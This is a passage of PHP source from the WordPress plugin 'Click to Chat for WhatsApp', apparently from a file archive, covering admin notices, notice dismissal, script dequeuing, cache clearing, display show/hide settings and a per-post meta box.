                    $first_install_time = (isset($ht_ctc_plugin_details['first_install_time'])) ? esc_attr($ht_ctc_plugin_details['first_install_time']) : 1;

                    $diff_time = $time - $first_install_time;

                    if ( $diff_time > $wait_time ) {
                        add_action('admin_notices', array( $this, 'pro_notice') );
                        $load_pro_notice_scripts = 'yes';
                    }


            }

            
            // load pro notice scripts
            if ( 'yes' == $load_pro_notice_scripts ) {
                add_action('admin_footer', array( $this, 'admin_pro_notice_scripts') );
            }

        }


        // add_action('admin_notices', array( $this, 'pro_notice') );
        // add_action('admin_footer', array( $this, 'admin_pro_notice_scripts') );


        /**
         * plugin update notice
         * 
         * useful is there is an important release
         */
        // _site_transient_update_plugins
        // $update_plugins = get_site_transient( 'update_plugins' );
        // if ( isset($update_plugins->response) ) {
        //     if ( isset($update_plugins->response['click-to-chat/click-to-chat.php']) ) {
        //         add_action('admin_notices', array( $this, 'plugin_update_notice') );
        //     }
        // }

        // $update_plugins = get_site_transient( 'update_plugins' );
        // if ( isset($update_plugins->response) ) {
        //     if ( isset($update_plugins->response['click-to-chat-pro/click-to-chat-pro.php']) ) {
        //         add_action('admin_notices', array( $this, 'plugin_update_notice') );
        //     }
        // }


    }

    
    function plugin_update_notice() {
        ?>
        <div class="notice notice-warning is-dismissible">
            <p>Click to Chat plugin has an update available.</p>
        </div>
        <?php
    }

    function ifnumberblank() {
        ?>
        <div class="notice notice-info is-dismissible">
            <p><?php _e( 'Click to Chat is almost ready', 'click-to-chat-for-whatsapp' ); ?>. <a href="<?= admin_url('admin.php?page=click-to-chat'); ?>"><?php _e( 'Add WhatsApp Number', 'click-to-chat-for-whatsapp' ); ?></a> <?php _e( 'and let visitors chat', 'click-to-chat-for-whatsapp' ); ?>.</p>
            <!-- <p>Click to Chat is almost ready. <a href="<?php // echo admin_url('admin.php?page=click-to-chat');?>">Add WhatsApp Number</a> to display the chat options and let visitors chat.</p> -->
        </div>
        <?php
    }

    function ifgroupblank() {
        ?>
        <div class="notice notice-info is-dismissible">
            <p><?php _e( 'Click to Chat is almost ready', 'click-to-chat-for-whatsapp' ); ?>. <a href="<?= admin_url('admin.php?page=click-to-chat-group-feature'); ?>"><?php _e( 'Add WhatsApp Group ID', 'click-to-chat-for-whatsapp' ); ?></a> <?php _e( 'to let visitors join in your WhatsApp Group', 'click-to-chat-for-whatsapp' ); ?>.</p>
        </div>
        <?php
    }

    function ifshareblank() {
        ?>
        <div class="notice notice-info is-dismissible">
            <p><?php _e( 'Click to Chat is almost ready', 'click-to-chat-for-whatsapp' ); ?>. <a href="<?= admin_url('admin.php?page=click-to-chat-share-feature'); ?>"><?php _e( 'Add Share Text', 'click-to-chat-for-whatsapp' ); ?></a> <?php _e( 'to let vistiors Share your Webpages', 'click-to-chat-for-whatsapp' ); ?>.</p>
        </div>
        <?php
    }

    /**
     * pro notice
     */
    function pro_notice() {
        ?>
        <div class="notice notice-info is-dismissible ht-ctc-notice-pro-banner" data-db="pro_banner" style="display:flex; flex-direction:column; padding:14px; border-radius:5px;">
            <p style="margin:0; font-size:1.4rem; color:#1d2327; font-weight:600;">Click to Chat - PRO</p>
            <p style="margin:0 0 2px;">
              <p class="description">Form Filling, Multi-Agent, Random Number, Webhook Integration, Google Ads Conversion Tracking.</p>
              <p class="description">Customize chat display based on visitor's country, business hours (schedule), time delay, scroll behavior, login status, and more.</p>
            </p>
                <!-- WooCommerce integration -->
            <p>
            <a class="button button-primary" style="padding:2px 15px;" href="https://holithemes.com/plugins/click-to-chat/pricing/" target="_blank">Get PRO Now</a>
            <br>
            <a class="button-dismiss" style="text-decoration: none; margin: 0 2px;" href="#">Dismiss</a>
            </p>
        </div>
        <?php
    }



    function admin_pro_notice_scripts() {
        ?>
        <script>
            (function () {

                if (document.readyState === "complete" || document.readyState === "interactive") {
                    ready();
                } else {
                    document.addEventListener("DOMContentLoaded", ready);
                }

                function serialize(obj) {
                    return Object.keys(obj).reduce(function (a, k) {
                        a.push(k + '=' + encodeURIComponent(obj[k]));
                        return a;
                    }, []).join('&');
                }

                function ready() {
                    setTimeout(function () {
                        const buttons = document.querySelectorAll(".ht-ctc-notice-pro-banner .notice-dismiss, .ht-ctc-notice-pro-banner .button-dismiss");
                        for (let i = 0; i < buttons.length; i++) {
                            buttons[i].addEventListener('click', function (e) {
                                e.preventDefault();

                                var element = e.target.closest('.is-dismissible');
                                var db = (element.hasAttribute('data-db')) ? element.getAttribute('data-db') : 'fallback';

                                const http = new XMLHttpRequest();
                                http.open('POST', ajaxurl, true);
                                http.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
                                http.send(serialize({
                                    'action': 'ht_ctc_admin_dismiss_notices',
                                    'db': db,
                                    'nonce': <?php echo json_encode(wp_create_nonce('ht-ctc-notices')); ?>
                                }));

                                element.remove();
                            });
                        }
                    }, 1000);
                }

                
            })();
        </script>
        <?php
    }

    /**
     * 
     * dismise notice - $key - post data 'db' - value is time..
     */
    function dismiss_notices() {

        check_ajax_referer('ht-ctc-notices', 'nonce');

        $time = time();

        // map_deep may not required. instead call post of db directly and sanitize.
        $post_data = ($_POST) ? map_deep( $_POST, 'sanitize_text_field' ) : '';

        $db_key = (isset($post_data['db'])) ? esc_attr( $post_data['db'] ) : '';

        // update/add at db..
        $values = array(
            'version' => HT_CTC_VERSION,
        );
        $update_values = [];
        $db_values = get_option( 'ht_ctc_notices', array() );

        if (is_array($db_values)) {
            $update_values = array_merge($values, $db_values);
        }

        // update to latest values
        $update_values['version'] = HT_CTC_VERSION;

        // db_key santized. but to avoid unwanted values to save in db.
        $db_key_values = [
            'pro_banner',
            'pro_banner_country'
        ];

        // add data ..
        if ('' !== $db_key && in_array($db_key, $db_key_values) ) {

            $update_values[$db_key] = $time;

            // @since 4.3. key with current version
            $db_key_version = "{$db_key}_version";
            $update_values[$db_key_version] = HT_CTC_VERSION;
        }
        update_option( 'ht_ctc_notices', $update_values );

        wp_send_json_success();

        // this wont run
        wp_die();
    }


    /**
     * 
     * runs in click to chat admin pages..
     *
     * @source ht_ctc_ah_admin_scripts_start - hook..
     */
    function dequeue() {

        // As now only if in &special mode
        if ( isset($_GET) && isset($_GET['special']) ) {

            add_action( 'wp_print_scripts', [$this, 'dequeue_scripts'] );
            
            // &special&nocss
            if ( isset($_GET['nocss']) ) {
                // add_action( 'wp_print_scripts', [$this, 'dequeue_styles'] );
                add_action( 'admin_enqueue_scripts', [$this, 'dequeue_styles'], 99 );
            }

        }
    }

    /**
     * runs on click to chat - woo admin page
     */
    function woo_dequeue() {
        add_action( 'wp_print_scripts', [$this, 'dequeue_scripts'] );
    }

    // dequeue scripts to avioid conflicts..
    function dequeue_scripts() {
        
        global $wp_scripts;
        $scripts = [];

        foreach( $wp_scripts->queue as $handle ) {
            // $scripts[] = $wp_scripts->registered[$handle];
            $scripts[$handle] = $wp_scripts->registered[$handle]->src;
        }

        $plugin = "/plugins/";
        $ctc_plugin = "/plugins/click-to-chat";
        
        foreach ($scripts as $handle => $src) {

            if ( false === strpos( $src, $ctc_plugin ) ) {
                // exclude click to chat plugin

                if ( false !== strpos( $src, $plugin ) ) {
                    wp_dequeue_script( $handle );
                }
            }
            
        }

    }


    // dequeue scripts to avioid conflicts..
    function dequeue_styles() {
        
        global $wp_styles;

        $styles = [];

        foreach( $wp_styles->queue as $handle ) {
            $styles[$handle] = $wp_styles->registered[$handle]->src;
        }

        $plugin = "/plugins/";
        $ctc_plugin = "/plugins/click-to-chat";
        
        foreach ($styles as $handle => $src) {

            if ( false === strpos( $src, $ctc_plugin ) ) {
                // exclude click to chat plugin

                if ( false !== strpos( $src, $plugin ) ) {
                    wp_dequeue_style( $handle );
                } 
            }

        }

    }




    // clear cache after save settings.
    function clear_cache() {

        // WP Super Cache
        if ( function_exists( 'wp_cache_clear_cache' ) ) {
            wp_cache_clear_cache();
        }
        // W3 Total Cache
        if ( function_exists( 'w3tc_pgcache_flush' ) ) {
            w3tc_pgcache_flush();
            // w3tc_flush_all();
        }
        // WP Fastest Cache
        if( function_exists('wpfc_clear_all_cache') ) {
            wpfc_clear_all_cache();
            // wpfc_clear_all_cache(true);
        }
        // Autoptimize
        if( class_exists('autoptimizeCache') && method_exists( 'autoptimizeCache', 'clearall') ) {
            autoptimizeCache::clearall();
        }
        // WP Rocket
        if ( function_exists( 'rocket_clean_domain' ) ) {
            rocket_clean_domain();
            // rocket_clean_minify();
        }
        // WPEngine
        if ( class_exists( 'WpeCommon' ) && method_exists( 'WpeCommon', 'purge_memcached' ) ) {
        WpeCommon::purge_memcached();
        WpeCommon::purge_varnish_cache();
        }
        // SG Optimizer by Siteground
        if ( function_exists( 'sg_cachepress_purge_cache' ) ) {
            sg_cachepress_purge_cache();
            // SG_CachePress_Supercacher::purge_cache(true);
        }
        // LiteSpeed
        if( class_exists('LiteSpeed_Cache_API') && method_exists('LiteSpeed_Cache_API', 'purge_all') ) {
        LiteSpeed_Cache_API::purge_all();
        }
        // Cache Enabler
        if( class_exists('Cache_Enabler') && method_exists('Cache_Enabler', 'clear_total_cache') ) {
            Cache_Enabler::clear_total_cache();
            // ce_clear_cache();
        }
        
        // // Pagely
        // if ( class_exists('PagelyCachePurge') && method_exists('PagelyCachePurge','purgeAll') ) {
        // https://wordpress.org/support/topic/the-plugin-is-attempting-to-do-a-cache-purge/
        //     PagelyCachePurge::purgeAll();
        // }
        
        // Comet cache
        if( class_exists('comet_cache') && method_exists('comet_cache', 'clear') ) {
        comet_cache::clear();
        }
        // Hummingbird Cache
        if( class_exists('\Hummingbird\WP_Hummingbird') && method_exists('\Hummingbird\WP_Hummingbird', 'flush_cache') ) {
            \Hummingbird\WP_Hummingbird::flush_cache();
        }
        // WP-Optimize
        if ( function_exists( 'wpo_cache_flush' ) ) {
            wpo_cache_flush();
        }

        // cachify_flush_cache
        // pantheon_wp_clear_edge_all
        // zencache
        // Breeze_PurgeCache
        // Swift_Performance_Cache



        // clear cache
        if ( function_exists('wp_cache_flush') ) {
            wp_cache_flush();
        }

    }


}

new HT_CTC_Admin_Others();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/admin_commons/admin-show-hide.php000064400000034046147510273110022001 0ustar00<?php
/**
*  Admin Show/Hide
*
* @package ctc
* @subpackage Administration
* @since 2.8 updated 3.3.3 
*/

if ( ! defined( 'ABSPATH' ) ) exit;

// $dbrow = 'ht_ctc_chat_options';

?>

<ul class="collapsible ht_ctc_show_hide_settings">
<li class="">
<div class="collapsible-header" id="showhide_settings"><?php _e( 'Display Settings', 'click-to-chat-for-whatsapp' ); ?>
    <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
</div>
<div class="collapsible-body">

<?php


if ( 'chat' == $type ) {
    do_action('ht_ctc_ah_admin_chat_before_showhide');
}
do_action('ht_ctc_ah_admin_before_showhide');

$show_hide_settings = array(
    'home' => 'Home Page',
    'posts' => 'Posts',
    'pages' => 'Pages',
    'archive' => 'Archive pages',
    'category' => 'Category pages',
    'page_404' => '404 Page',
);

// woocommerce 
if ( class_exists( 'WooCommerce' ) ) {
    $show_hide_settings['WooCommerce'] = '';
    $show_hide_settings['woo_product'] = 'Single Product pages';
    $show_hide_settings['woo_shop'] = 'Shop (Product Archive page)';
    $show_hide_settings['woo_cart'] = 'Cart page';
    $show_hide_settings['woo_checkout'] = 'Checkout page';
    $show_hide_settings['woo_order_received'] = 'Thank you / Order Received page';
    $show_hide_settings['woo_account'] = 'Account page';
}

// custom post types
$custom_post_types = get_post_types( array('public' => true, '_builtin' => false) );

// woocommerce product working in different way.. woo_product
unset($custom_post_types['product']);

// not empty array - custom post types
if (!empty($custom_post_types)) {
    // title custom post type
    $show_hide_settings['Custom Post Types'] = '';
    // merge 
    $show_hide_settings = array_merge($show_hide_settings, $custom_post_types);
}

// display settings - options - sub array
$display_settings = (isset($options['display'])) ? $options['display'] : '';

// n_show_hide
$check_global_display = (isset($display_settings['global_display'])) ? esc_html($display_settings['global_display']) : 'show';

// post id
$list_hideon_pages = (isset($display_settings['list_hideon_pages'])) ? esc_html($display_settings['list_hideon_pages']) : '';
$list_showon_pages = (isset($display_settings['list_showon_pages'])) ? esc_html($display_settings['list_showon_pages']) : '';
// category
$list_hideon_cat = (isset($display_settings['list_hideon_cat'])) ? esc_html($display_settings['list_hideon_cat']) : '';
$list_showon_cat = (isset($display_settings['list_showon_cat'])) ? esc_html($display_settings['list_showon_cat']) : '';

$display_desktop = (isset( $options['display_desktop'])) ? esc_attr( $options['display_desktop'] ) : 'show';
$display_mobile = (isset($options['display_mobile'])) ? esc_attr( $options['display_mobile'] ) : 'show';
?>

<div class="row show_hide_device">
    <p class="col s3">
        <span class="dashicons dashicons-desktop"></span>
        <?php _e( 'Desktop', 'click-to-chat-for-whatsapp' ); ?>
    </p>
    <p class="col s4">
        <label>
        <input name="<?= $dbrow; ?>[display_desktop]" value="show" type="radio" <?php checked( 'show' == $display_desktop ); ?> class="with-gap device_display radio_desktop"/>
        <span><?php _e( 'Show', 'click-to-chat-for-whatsapp' ); ?></span>
        <span class="dashicons dashicons-visibility"></span>
        </label>
    </p>
    <p class="col s4">
        <label>
        <input name="<?= $dbrow; ?>[display_desktop]" value="hide" type="radio" <?php checked( 'hide' == $display_desktop ); ?> class="with-gap device_display radio_desktop"/>
        <span><?php _e( 'Hide', 'click-to-chat-for-whatsapp' ); ?></span>
        <span class="dashicons dashicons-hidden"></span>
        </label>
    </p>
</div>

<!-- display mobile -->
<div class="row show_hide_device">
    <p class="col s3">
        <span class="dashicons dashicons-smartphone"></span>
        <?php _e( 'Mobile', 'click-to-chat-for-whatsapp' ); ?>
    </p>
    <p class="col s4">
        <label>
        <input name="<?= $dbrow; ?>[display_mobile]" value="show" type="radio" <?php checked( 'show' == $display_mobile ); ?> class="with-gap device_display radio_mobile"/>
        <span><?php _e( 'Show', 'click-to-chat-for-whatsapp' ); ?></span>
        <span class="dashicons dashicons-visibility"></span>
        </label>
    </p>
    <p class="col s4">
        <label>
        <input name="<?= $dbrow; ?>[display_mobile]" value="hide" type="radio" <?php checked( 'hide' == $display_mobile ); ?> class="with-gap device_display radio_mobile"/>
        <span><?php _e( 'Hide', 'click-to-chat-for-whatsapp' ); ?></span>
        <span class="dashicons dashicons-hidden"></span>
        </label>
    </p>
</div>

<br>
<hr style="max-width: 500px;">
<br>

<div class="row show_hide_global ">
    <p class="col s3">
        <!-- <span class="dashicons dashicons-admin-site-alt3"></span> -->
        <strong><?php _e( 'Global', 'click-to-chat-for-whatsapp' ); ?></strong>
    </p>
    <p class="col s4">
        <label>
        <input name="<?= $dbrow; ?>[display][global_display]" value="show" type="radio" <?php checked( 'show' == $check_global_display ); ?> class="with-gap global_display"/>
        <span><?php _e( 'Show on all pages', 'click-to-chat-for-whatsapp' ); ?></span>
        <span class="dashicons dashicons-visibility"></span>
        </label>
    </p>
    <p class="col s4">
        <label>
        <input name="<?= $dbrow; ?>[display][global_display]" value="hide" type="radio" <?php checked( 'hide' == $check_global_display ); ?> class="with-gap global_display"/>
        <span><?php _e( 'Hide on all pages', 'click-to-chat-for-whatsapp' ); ?></span>
        <span class="dashicons dashicons-hidden"></span>
        </label>
    </p>
</div>

<br>

<p class="description" style="margin:16px 0px 20px 0px;"><strong><?php _e( 'Overwrite the Global settings', 'click-to-chat-for-whatsapp' ); ?></strong></p>
<?php

foreach ($show_hide_settings as $key => $value) {

    if ( '' == $value ) {
        // heading
        ?>
       <p class="description" style="margin-bottom:16px;"><strong><?= $key; ?>: </strong></p>
        <?php
    } else {
        $is_checked_show_hide = (isset($display_settings[$key])) ? esc_html($display_settings[$key]) : 'g';
        if ('woo_order_received' == $key) {
            // order_received / thank you page  -  is added later version after checkout feature is added. . should not distrub the exsiting users - default/initial checkout value itself..
            $is_checked_show_hide = (isset($display_settings[$key])) ? esc_html($display_settings[$key]) : '';
            if ('' == $is_checked_show_hide) {
                $is_checked_show_hide = (isset($display_settings['woo_checkout'])) ? esc_html($display_settings['woo_checkout']) : 'g';
            }
        }
        ?>
        <div class="row show_hide_types">
            <p class="col s3">
                <?= $value; ?>:
            </p>
            <p class="col s3 m3 l2 show_box">
                <label>
                <input name="<?= $dbrow; ?>[display][<?= $key; ?>]" value="show" type="radio" <?php checked( 'show' == $is_checked_show_hide ); ?> class="with-gap show_btn <?= $key; ?>"/>
                <span class="ctc_radio_text"><?php _e( 'Show', 'click-to-chat-for-whatsapp' ); ?></span>
                <span class="dashicons dashicons-visibility"></span>
                </label>
            </p>
            <p class="col s3 m3 l2 hide_box">
                <label>
                <input name="<?= $dbrow; ?>[display][<?= $key; ?>]" value="hide" type="radio" <?php checked( 'hide' == $is_checked_show_hide ); ?> class="with-gap hide_btn <?= $key; ?>"/>
                <span class="ctc_radio_text"><?php _e( 'Hide', 'click-to-chat-for-whatsapp' ); ?></span>
                <span class="dashicons dashicons-hidden"></span>
                </label>
            </p>
            <p class="col s3 m3 l2 global_box">
                <label>
                <input name="<?= $dbrow; ?>[display][<?= $key; ?>]" value="g" type="radio" <?php checked( '' == $is_checked_show_hide || 'g' == $is_checked_show_hide ); ?> class="with-gap global_btn <?= $key; ?>"/>
                <span class="ctc_radio_text"><?php _e( 'Global', 'click-to-chat-for-whatsapp' ); ?> 
                    <span class="global_show_or_hide_label"></span>
                    <span class="global_show_or_hide_icon"></span>
                </span>
                </label>
            </p>
        </div>
    
        <?php
    }
        

}


?>
<br>
<p class="description"><strong><?php _e( 'Post Id\'s', 'click-to-chat-for-whatsapp' ); ?></strong></p>
<!-- ID's list to hide styles  -->
<div class="row hide_settings">
    <div class="input-field col s12 m7">
        <input name="<?= $dbrow; ?>[display][list_hideon_pages]" value="<?= $list_hideon_pages ?>" id="ccw_list_id_tohide" type="text" class="input-margin">
        <label for="ccw_list_id_tohide"><?php _e( "Hide on this pages", 'click-to-chat-for-whatsapp' ); ?> <span class="dashicons dashicons-hidden"></span></label>
        <p class="description"><?php _e( "Add post id's to hide. Add multiple post id's by separating with a comma ( , )", 'click-to-chat-for-whatsapp' ); ?></p>
    </div>
</div>

<!-- ID's list to show styles -->   
<div class="row show_settings">
    <div class="input-field col s7">
        <input name="<?= $dbrow; ?>[display][list_showon_pages]" value="<?= $list_showon_pages ?>" id="ccw_list_id_toshow" type="text" class="input-margin">
        <label for="ccw_list_id_toshow"><?php _e( "Show on this pages", 'click-to-chat-for-whatsapp' ); ?> <span class="dashicons dashicons-visibility"></span></label>
        <p class="description"><?php _e( "Add Post, Page, Media - ID's to show styles, Add multiple id's by separating with a comma ( , )", 'click-to-chat-for-whatsapp' ); ?></p>
    </div>
</div>

<p class="description"><strong><?php _e( 'Category names', 'click-to-chat-for-whatsapp' ); ?></strong></p>
<!-- Categorys list - to hide -->
<div class="row hide_settings">
    <div class="input-field col s12 m7">
        <input name="<?= $dbrow; ?>[display][list_hideon_cat]" value="<?= $list_hideon_cat ?>" id="list_hideon_cat" type="text" class="input-margin">
        <label for="list_hideon_cat"><?php _e( 'Hide on this Category posts' , 'click-to-chat-for-whatsapp' ) ?> <span class="dashicons dashicons-hidden"></span></label>
        <p class="description"><?php _e( 'Hides on this Category type pages, Add multiple Categories by separating with a comma ( , ) ', 'click-to-chat-for-whatsapp' ); ?></p>
    </div>
</div>

<!-- Categorys list - to show -->
<div class="row show_settings">
    <div class="input-field col s7">
        <input name="<?= $dbrow; ?>[display][list_showon_cat]" value="<?= $list_showon_cat ?>" id="ccw_list_cat_toshow" type="text" class="input-margin">
        <label for="ccw_list_cat_toshow"><?php _e( 'Show on this Category posts' , 'click-to-chat-for-whatsapp' ) ?> <span class="dashicons dashicons-visibility"></span></label>
        <p class="description"><?php _e( 'Show on this Category type pages, Add multiple Categories by separating with a comma ( , )', 'click-to-chat-for-whatsapp' ); ?> </p>
    </div>
</div>


<?php

if ( 'chat' == $type ) {
    do_action('ht_ctc_ah_admin_chat_after_showhide');
}
do_action('ht_ctc_ah_admin_after_showhide');
?>

<p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/show-hide-styles/"><?php _e( 'Display Settings', 'click-to-chat-for-whatsapp' ); ?></a> </p>
<!-- <details style="margin-top:5px;">
    <summary style="cursor:pointer;"><?php _e( 'Usecases', 'click-to-chat-for-whatsapp' ); ?></summary>
    <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/show-only-on-selected-pages/"><?php _e( 'Show only on selected pages', 'click-to-chat-for-whatsapp' ); ?></a><?php _e( ' (Single, Cart, Checkout page)', 'click-to-chat-for-whatsapp' ); ?></p>
    <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/hide-only-on-selected-pages/"><?php _e( 'Hide only on selected pages', 'click-to-chat-for-whatsapp' ); ?></a><?php _e( ' (Single, Cart, Checkout page)', 'click-to-chat-for-whatsapp' ); ?></p>
    <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/show-hide-on-mobile-desktop/"><?php _e( 'Show/Hide on Mobile/Desktop', 'click-to-chat-for-whatsapp' ); ?></a></p>
</details> -->

<?php
if ( !defined('HT_CTC_PRO_VERSION') && isset($type) && 'chat' == $type ) {
    ?>
    <br><hr><br>

    <p class="description">PRO</p>

    <div class="ctc_pro_content" style="margin-bottom: 25px;">
        <p class="description ht_ctc_subtitle"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/time-delay-scroll/"><?php _e( 'Time, Scroll Delay', 'click-to-chat-for-whatsapp' ); ?></a></p>
        <p class="description ht_ctc_content_point"><?php _e( 'Display After Time Delay', 'click-to-chat-for-whatsapp' ); ?></p>
        <p class="description ht_ctc_content_point"><?php _e( 'Display After User Scroll', 'click-to-chat-for-whatsapp' ); ?></p>
    </div>

    <div style="margin-bottom: 25px;" id="ht_ctc_bh">
        <p class="description ht_ctc_subtitle"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/business-hours-online-offline/"><?php _e( 'Business Hours', 'click-to-chat-for-whatsapp' ); ?> (<?php _e( 'online/offline', 'click-to-chat-for-whatsapp' ); ?>)</a></p>
        <p class="description ht_ctc_content_point"><?php _e( 'Hide When offline', 'click-to-chat-for-whatsapp' ); ?> (or)</p>
        <p class="description ht_ctc_content_point"><?php _e( 'Change WhatsApp Number When Offline', 'click-to-chat-for-whatsapp' ); ?></p>
        <p class="description ht_ctc_content_point"><?php _e( 'Change Call to Action When Offline', 'click-to-chat-for-whatsapp' ); ?></p>
        <p class="description ht_ctc_content_point">Online status badge at greetings header image during business hours</p>
    </div>

    <?php
}
?>

</div>
</li>
</ul>click-to-chat-for-whatsapp/new/admin/admin_commons/class-ht-ctc-metabox.php000064400000017337147510273110022752 0ustar00<?php
/**
 * Meta box
 * change values at page level
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_MetaBox' ) ) :

class HT_CTC_MetaBox {


	/**
	 * add meta box
	 */
	function meta_box() {

		$post_types = get_post_types( array('public' => true) );

		foreach ( $post_types as $type ) {
			if ( 'attachment' !== $type ) {
				add_meta_box(
					'ht_ctc_settings_meta_box',             // Id.
					'Click to Chat',                        // Title.
					array( $this, 'display_meta_box' ),     // Callback.
					$type,                                  	// Post_type.
					'side',                                 // Context.
					'default'                               // Priority.
				);
			}
		}

	}


	/**
	 * render meta box content
	 */
	function display_meta_box( $current_post ) {

		wp_nonce_field( 'ht_ctc_page_meta_box', 'ht_ctc_page_meta_box_nonce' );
		$os = get_option( 'ht_ctc_othersettings' );
		$ht_ctc_pagelevel = get_post_meta( $current_post->ID, 'ht_ctc_pagelevel', true );

		?>
		<p class="description">Change values at <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/change-values-at-page-level/">Page level</a></p>
		<p class="description">Chat Settings:</p>
		<?php

		// chat
		$number = ( isset($ht_ctc_pagelevel['number']) ) ? esc_attr($ht_ctc_pagelevel['number']) : '';
		$call_to_action = ( isset($ht_ctc_pagelevel['call_to_action']) ) ? esc_attr($ht_ctc_pagelevel['call_to_action']) : '';
		$pre_filled = ( isset($ht_ctc_pagelevel['pre_filled']) ) ? esc_attr($ht_ctc_pagelevel['pre_filled']) : '';
		$show_hide = ( isset($ht_ctc_pagelevel['show_hide']) ) ? esc_attr($ht_ctc_pagelevel['show_hide']) : '';

		$options = get_option('ht_ctc_chat_options');

		$ph_number = '';
		$ph_call_to_action = '';
		$ph_pre_filled = '';
		// If db values are correct
		if ( is_array($options) ) {
			$ph_number = ( isset( $options['number']) ) ? esc_attr( $options['number'] ) : '';
			$ph_call_to_action = ( isset( $options['call_to_action']) ) ? esc_attr( $options['call_to_action'] ) : '';
			$ph_pre_filled = ( isset( $options['pre_filled']) ) ? esc_attr( $options['pre_filled'] ) : '';
        }
        
		?>

		<!-- number -->
		<!-- <div style="border: 4px solid #ddd; padding: 5px; margin-bottom: 10px;"> -->
		<div class="row">
			<label for="number"><?php _e( 'WhatsApp Number', 'click-to-chat-for-whatsapp' ); ?></label><br>
			<input name="ht_ctc_pagelevel[number]" value="<?= $number ?>" id="number" type="text" placeholder="<?= $ph_number ?>">
			<p class="description"><a style="text-decoration: none" target="_blank" href="https://holithemes.com/plugins/click-to-chat/whatsapp-number/">WhatsApp Number</a> with country code</p>
		</div>
			<!-- or  -->
			<?php
			if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
				?>
				<!-- <div class="row">
					<p class="description"><a style="text-decoration: none" target="_blank" href="https://holithemes.com/plugins/click-to-chat/todo/">Custom Link</a> (PRO)</p>
				</div> -->
				<?php
			}
			do_action('ht_ctc_ah_admin_chat_meta_box_after_number', $current_post );
			?>
		<!-- </div> -->

		<!-- call to action -->
		<div class="row">
			<label for="call_to_action"><?php _e( 'Call to Action', 'click-to-chat-for-whatsapp' ); ?></label><br>
			<input name="ht_ctc_pagelevel[call_to_action]" value="<?= $call_to_action ?>" id="call_to_action" type="text" placeholder="<?= $ph_call_to_action ?>">
		</div>

		<!-- pre-filled message -->
		<div class="row">
			<label for="pre_filled"><?php _e( 'Pre-filled Message', 'click-to-chat-for-whatsapp' ); ?></label><br>
			<textarea style="min-height: 74px; min-width: 72%" placeholder="<?= $ph_pre_filled ?>" name="ht_ctc_pagelevel[pre_filled]" id="pre_filled" class="materialize-textarea input-margin"><?= $pre_filled ?></textarea>
		</div>

		<!-- show/hide -->
		<div class="row">
			<label for="show_hide"><?php _e( 'Display Settings', 'click-to-chat-for-whatsapp' ); ?></label><br>
			<label for="show">
			<input name="ht_ctc_pagelevel[show_hide]" <?php checked( 'show' == $show_hide ); ?> value="show" id="show" type="radio">
			<?php _e( 'Show', 'click-to-chat-for-whatsapp' ); ?>
			<!-- <span class="dashicons dashicons-visibility"></span> -->
			</label>
			&emsp;
			<label for="hide">
			<input name="ht_ctc_pagelevel[show_hide]" <?php checked( 'hide' == $show_hide ); ?> value="hide" id="hide" type="radio">
			<?php _e( 'Hide', 'click-to-chat-for-whatsapp' ); ?>
			<!-- <span class="dashicons dashicons-hidden"></span> -->
			</label>
			&emsp;
			<label for="default">
			<input name="ht_ctc_pagelevel[show_hide]" <?php checked( '' == $show_hide ); ?> value="" id="default" type="radio">
			<?php _e( 'Default', 'click-to-chat-for-whatsapp' ); ?>
			</label>
		</div>

		<?php
		do_action('ht_ctc_ah_admin_chat_bottom_meta_box', $current_post );
		


		// if group enabled
		if ( isset( $os['enable_group'] ) ) {
			$group_id = ( isset($ht_ctc_pagelevel['group_id']) ) ? esc_attr($ht_ctc_pagelevel['group_id']) : '';
			?>
			<br>
			<p class="description">Group Settings:</p>
			<!-- group id -->
			<div class="row">
				<label for="group_id">Group ID</label><br>
				<input name="ht_ctc_pagelevel[group_id]" value="<?= $group_id ?>" id="group_id" type="text">
				<!-- <p class="description"><a style="text-decoration: none" target="_blank" href="https://holithemes.com/plugins/click-to-chat/whatsapp-number/">WhatsApp Number</a> with country code</p> -->
			</div>
			<?php
		}


	}


	/**
	 * save meta box
	 */
	function save_meta_box( $post_id ) {


		// Check if our nonce is set.
		if ( ! isset( $_POST['ht_ctc_page_meta_box_nonce'] ) ) {
			return;
		}

		$nonce = $_POST['ht_ctc_page_meta_box_nonce'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'ht_ctc_page_meta_box' ) ) {
			return;
		}

		// If this is an autosave
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return;
		}

		// Check the user's permissions.
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $post_id;
		}

        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/ht-ctc-admin-formatting.php';

		$editor = [];
        $editor = apply_filters( 'ht_ctc_fh_greetings_setting_meta_editor', $editor );

		if ( isset( $_POST['ht_ctc_pagelevel'] ) ) {
			
			$ht_ctc_pagelevel = array_filter( $_POST['ht_ctc_pagelevel'] );

			if ( !empty( $ht_ctc_pagelevel ) ) {

				// sanitize
				foreach ($ht_ctc_pagelevel as $key => $value) {
					if( isset( $ht_ctc_pagelevel[$key] ) ) {
						if ( 'pre_filled' == $key ) {
							if ( function_exists('sanitize_textarea_field') ) {
								$new[$key] = sanitize_textarea_field( $ht_ctc_pagelevel[$key] );
							} else {
								$new[$key] = sanitize_text_field( $ht_ctc_pagelevel[$key] );
							}
						} else if ( 'call_to_action' == $key ) {
							$new[$key] = sanitize_text_field( $ht_ctc_pagelevel[$key] );
						}  else if ( in_array( $key, $editor ) ) {
							if ( !empty( $ht_ctc_pagelevel[$key]) && '' !== $ht_ctc_pagelevel[$key] && function_exists('ht_ctc_wp_sanitize_text_editor') ) {
								$new[$key] = ht_ctc_wp_sanitize_text_editor( $ht_ctc_pagelevel[$key] );
							}
						} else {
							$new[$key] = sanitize_text_field( $ht_ctc_pagelevel[$key] );
						}
						$ht_ctc_pagelevel[$key] = $new[$key];
					}
				}

